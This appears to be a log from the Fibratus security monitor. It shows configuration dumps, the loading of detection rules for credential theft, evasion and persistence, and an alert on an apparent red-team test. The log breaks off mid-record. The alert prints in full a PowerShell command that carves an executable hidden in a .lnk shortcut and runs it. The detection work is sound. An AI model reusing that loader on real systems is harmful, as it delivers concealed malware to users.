........................... [ scan-timeout=>10s skip-registry=>false excluded-procs=>[] enabled=>false excluded-files=>[] skip-allocs=>false skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:12:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:12:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:16:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:16:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:16:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:17:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:17:34+01:00 level=info msg=bootstrapping with pid 15036. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:17:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true buffer-size=>512 max-buffers=>36 enable-threadpool=>false enable-registry=>true enable-handle=>false enable-thread=>true min-buffers=>16 flush-interval=>1s enable-image=>true enable-vamap=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-dns=>false enable-audit-api=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 log-stdout=>true max-size=>100 level=>info max-backups=>15] + output ......................... [ elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s flush-period=>1s timeout=>5s bulk-workers=>1 enabled=>false sniff=>false trace-log=>false healthcheck=>true index-name=>fibratus] http=>[ enable-gzip=>false endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false enabled=>false timeout=>5s] amqp=>[ delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s passive=>false enabled=>false vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic exchange=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false scan-timeout=>10s skip-allocs=>false skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:17:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:17:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:17:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:17:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:17:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:18:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:18:10+01:00 level=info msg=bootstrapping with pid 1668. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:18:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true enable-fileio=>true enable-image=>true enable-audit-api=>true buffer-size=>512 enable-thread=>true enable-registry=>true enable-dns=>false max-buffers=>36 min-buffers=>16 flush-interval=>1s enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false stack-enrichment=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text level=>info log-stdout=>true max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false vhost=>/ enabled=>false timeout=>5s routing-key=>fibratus passive=>false exchange-type=>topic exchange=>fibratus] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false method=>POST serializer=>json] elasticsearch=>[ healthcheck-timeout=>5s template-name=>fibratus gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s sniff=>false enabled=>false healthcheck-interval=>10s trace-log=>false timeout=>5s index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] skip-registry=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false enabled=>false excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:18:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:18:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:20:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:20:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:20:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:21:13+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:21:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:21:13+01:00 level=info msg=bootstrapping with pid 5620. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:21:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ stack-enrichment=>true buffer-size=>512 enable-handle=>false enable-threadpool=>false flush-interval=>1s min-buffers=>16 enable-audit-api=>true enable-thread=>true enable-image=>true enable-fileio=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-mem=>false enable-dns=>false enable-vamap=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ http=>[ enabled=>false timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json endpoints=>[]] amqp=>[ durable=>false passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus enabled=>false timeout=>5s exchange-type=>topic vhost=>/] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true sniff=>false template-name=>fibratus flush-period=>1s enabled=>false bulk-workers=>1 trace-log=>false timeout=>5s gzip-compression=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false excluded-files=>[] skip-registry=>false fastscan=>true skip-mmaps=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:21:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:21:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:21:58+01:00 level=info msg=sending alert: [Embedded binary execution via shortcut file]. Text: Event(s): + Seq: 1187730 + Pid: 3088 + Tid: 15796 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 16:21:29.803246 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b04404c2360, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b043c06e808, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 15796, type➜ File + Metadata: tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/, rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002 + + Pid: 3088 + Ppid: 3076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive 